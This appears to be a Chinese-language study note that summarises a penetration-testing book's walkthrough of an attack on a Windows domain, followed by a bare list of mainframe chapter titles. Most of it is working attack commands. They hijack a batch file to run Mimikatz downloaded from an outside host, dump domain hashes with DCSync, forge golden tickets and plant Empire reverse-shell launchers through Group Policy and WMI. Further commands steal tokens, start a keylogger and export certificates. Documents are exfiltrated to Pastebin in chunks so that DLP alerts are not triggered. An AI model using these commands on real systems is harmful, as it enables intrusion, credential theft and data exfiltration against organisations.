發現此檔案launcher.bat,可以完成控制。劫持此檔案,編寫指令碼執行Mimikatz將密碼轉存到txt檔案中
PS> $command = '$browser = New-Object
System.Net.WebClient;$browser.Proxy.Credentials =
[System.Net.CredentialCache]::DefaultNetworkCredentials;IEX($browser.DownloadString
Mimikatz.ps1"));invoke-mimikatz | out-file c:\users\john\appdata\local\temp\pass_file.txt'
PS> $bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
PS> $encodedCommand = [Convert]::ToBase64String($bytes)
PS> write-host $encodedCommand
JABiAHIAbwB3AHMAZQByACAAPQAgAE4AZQ...
Powershell.exe -NonI -W Hidden -enc
JABiAHIAbwB3AHMAZQByACAAPQAgAE4AZQ...
(Empire: john) > shell cd c:\apps\screensaver\
(Empire: john) > upload /root/launch_me.bat
(Empire: john) > shell move launcher.bat launcher_old.bat
(Empire: john) > shell move launcher_me.bat launcher.bat
(Empire: john2) > shell download
c:\users\john\appdata\local\temp\pass_file.txt
(Empire: john2) > shell del launcher.bat
(Empire: john2) > shell move launcher_old.bat launcher.bat
FrontGun$ cat pass_file.txt
(Empire: john) > shell net group “domain admins” /domain
(Empire:) > usemodule management/spawnas
(Empire: management/spawnas) > set UserName adm_supreme
(Empire: management/spawnas) > set Domain SPH(Empire: management/spawnas) > set Password Charvel097*
(Empire: management/spawnas) > set Agent john
(Empire: management/spawnas) > run
(Empire: admSupreme) > usemodule privesc/bypassuac_eventvwr
(Empire: privesc/bypassuac_eventvwr) > set Listener test
(Empire: privesc/bypassuac_eventvwr) > run
More passwords
靜默的通過一個域管理員賬號轉存更多的賬號,NTDS.DIT,AD的資料庫。匯出並解析此檔案的過程非常慢。
實際中只需要再拿幾個賬號即可。濫用AD的複製功能(KRBTGT密碼雜湊被轉存),域控可以交換使用者的雜湊值以委派身份驗證。通過模仿域控,Mimikatz可以有效請求任何密碼雜湊。把該請求發給假的域中,自己驗證自己。
對每個感興趣的域賬戶重複執行此命令,可以通過雜湊值來模擬這些使用者
PS> $browser = New-Object System.Net.WebClient
PS> IEX($browser.DownloadString("http://192.168.1.90:443/Invoke-Mimikatz.ps1"))
PS> invoke-mimikatz -Command '"lsadump::dcsync /domain:sph.corp/user:administrator"'
持久化技術之一,生成黃金票據:kerberos,有效期10年
參考資料:https://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos
參考資料:http://blog.gentilkiwi.com/securite/mimikatz/golden-ticket-kerberos
微軟kerberos101:https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/bb742516(v=technet.10)?redirectedfrom=MSDN
粗暴的理解:濫用AD的複製功能,模仿出來另一個假的域控,在該假域控上進行身份驗證得到黃金票據,再拿它回到真正的域環境裡暢通無阻
Hunting for data 尋找資料
機密業務,人力資源,戰略檔案,CEO電子郵件,客戶記錄等。
Exfiltration technique 滲透技術 形容竊取資料
小心資料防丟失系統(DLP)報警。1GB/s,加密資料讓調查取證無法確定是什麼資料丟失,找到不受防火牆或web代理阻止的方法。
將資料分成多個塊,長時間慢慢拿走。防止流量峰值引起報警。
將資料壓縮,windows8,10。不適合win7
PS> Get-ChildItem C:\users\Rachel\documents | Compress-Archive - DestinationPath c:\users\Rachel\documents.zip
要設定密碼可以使用下面的指令碼
http://blog.danskingdom.com/powershell-function-to-create-a-password-protected-zip-file
DLP系統會檢查通過的壓縮包,解壓並檢查檔案。如果無法解開則可能會阻止資料。我們需要將ZIP壓縮包轉換成可以通過任何DLP系統的純檔案檔案。
我們可以在windows上使用自帶的certutil -encode命令,用base64對壓縮包編碼,然後將生成的文字檔案傳送到上傳的伺服器裡。有個工具可以自動化此過程:Nishang的Do-Exfiltration.ps1指令碼 #73
該工具有兩個主要選項:通過HTTPS將資料傳送到web伺服器;將資料嵌入到DNS查詢中,傳送到我們的DNS伺服器
HTTPS選項將資料發到Pastebin.com中,使我們不必考慮web伺服器的事情,Pastebin上註冊賬號,得到API金鑰
PS C:\users\Rachel> Get-content documents.zip | Do-Exfiltration -ExfilOption pastebin -dev_key 0d19a7649774b35181f0d008f1824435 username paste_user_13 -password paste_password_13
解碼檔案
FrontGun$ cat data.txt | base64 -d > documents.zip
Strategic files 戰略檔案
敏感檔案通常在:伺服器或HR,VIP,財務,銷售的機器上
> net view \\10.10.20.229 /all
PowerView.ps1 Invoke-ShareFinder 列出域中主機共享
使用invoke-expression (IEX)載入指令碼,防止觸發防病毒產品
PS > Get-NetUser -filter "department=HR*" Get-AdUser也行
PowerView的 Invoke-EventHunter 域控上的連線日誌記錄
PS > Invoke-EventHunter -username Juliette
嘗試著遠端訪問她登入過的工作站共享資料夾,但被本地防火牆阻止。
沒有RDP和PRC埠,幾乎無法從我們的機器進入。但是我們有域。
域控的General Policies Objects是逃逸防火牆規則的完美之選。進入執行PS指令碼的設定,在她的機器上執行一個反向shell
啟用並匯入組策略模組
Ps> Add-WindowsFeature GPMC
Ps> import-module group-policy
PS> New-GPo -name WindowsUpdate -domain SPH.corp -Server FRSV210.sph.corp
PS> Set-GPPermissions -Name "WindowsUpdate" -Replace - PermissionLevel GpoApply -TargetName "juliette" -TargetType user
PS> Set-GPPermissions -Name "WindowsUpdate" -Replace - PermissionLevel GpoApply -TargetName "FRPC066" -TargetType computer
PS> Set-GPPermissions -Name "WindowsUpdate" -PermissionLevel None - TargetName "Authenticated Users" -TargetType Group
PS> New-GPLink -Name WindowsUpdate -Domain sph.corp -Target "dc=sph,dc=corp" -order 1 -enforced yes
回到kali伺服器上的Empire框架,並生成一個新的反向Shell代理,使用base64編碼,以便很好地適合登錄檔項:
(Empire: stager/launcher) > set Listener test
(Empire: stager/launcher) > generate
powershell.exe -NoP -sta -NonI -W Hidden -Enc
WwBTAHkAUwB0AGUAbQAuAE4ARQBUAC4AUwBlAFIAVgBpAGMARQBQAG8Aa
PS> Set-GPRegistryValue -Name "WindowsUpdate" -key
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
-ValueName MSstart -Type String -value "powershell.exe -NoP -sta -NonI - Enc WwBTAHk[...]"
Emails
Targeted approach
下載電子郵件快取檔案
C:\Users\eric\AppData\Local\Microsoft\Outlook
C:\Documents and Settings\eric\Local Settings\Application Data\Microsoft\Outlook
常規工具無法開啟OST檔案 s/MIME 公私鑰加密 簽名用私鑰加密
Mimikatz又發揮了它的神力,從記憶體將所有證書匯出到本地檔案。
證書裡包含的有(私鑰)-----學於韓立剛老師的windows servers 2008 於B站
PS> $browser = New-Object System.Net.WebClient
PS> $browser.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
PS> IEX($browser.DownloadString("https://raw.githubusercontent.com/PowerShellMafia/Powe
Mimikatz.ps1"))
PS> invoke-mimikatz -DumpCerts
如果RDP埠不可用,使用GPO或WMI呼叫
現實中很少有人會加密郵件
Broad approach
我們可以使用MailSniper,這是一個用PowerShell編寫的工具,它提供了獲取和排序電子郵件所需的命令 #79
Customer records
在網際網路上搜索入侵主機的方法,你會驚訝於資訊的稀缺。儘管在近期的幾年裡,這一主題出現了激增,但我們離在windows和linux上所擁有的還很遙遠。我們更驚訝於在美國的作者居然會發聲這樣的觀點於2018年, 這在很大程度上要歸功於Fortran的Soldier、BigEndianSmalls和Singe等研究人員。
Hacking the unthinkable
Pole position
Invoke-UserHunter 或 Invoke-EventHunter
(Empire: stager/launcher) > set Listener test
(Empire: stager/launcher) > generate
powershell.exe -NoP -sta -NonI -W Hidden -Enc
WwBTAHkAUwB0AGUAbQAuAE4ARQBUAC4AUwBlAFIAVgBpAGMARQBQAG8Aa
PS> invoke-wmimethod -ComputerName FRPC021 win32_process -name create -argumentlist ("powershell.exe -NoP -sta -NonI -W Hidden -Enc WwBTAHkAUwB0AGUYA...")
token相當於web上的會話cookie。記憶體中的一個結構,在每個程序後面引用使用者的特權和標識。
為了獲取安全令牌,只需從現有執行的程式中竊取它,並啟動鍵盤記錄器
(Empire: 4DMWAKBDMXMBLHL1) > ps
(Empire: 4DMWAKBDMXMBLHL1) > steal_token 1188
(Empire: 4DMWAKBDMXMBLHL1) > usemodule collection/keylogger
(Empire: 4DMWAKBDMXMBLHL1) > run
後面都是大型機IBM銀行系統的東西
Riding the beast
Hunting for files
Rewind - First contact
Then there were CICS
Programs, transactions, and some p0wnage
Summary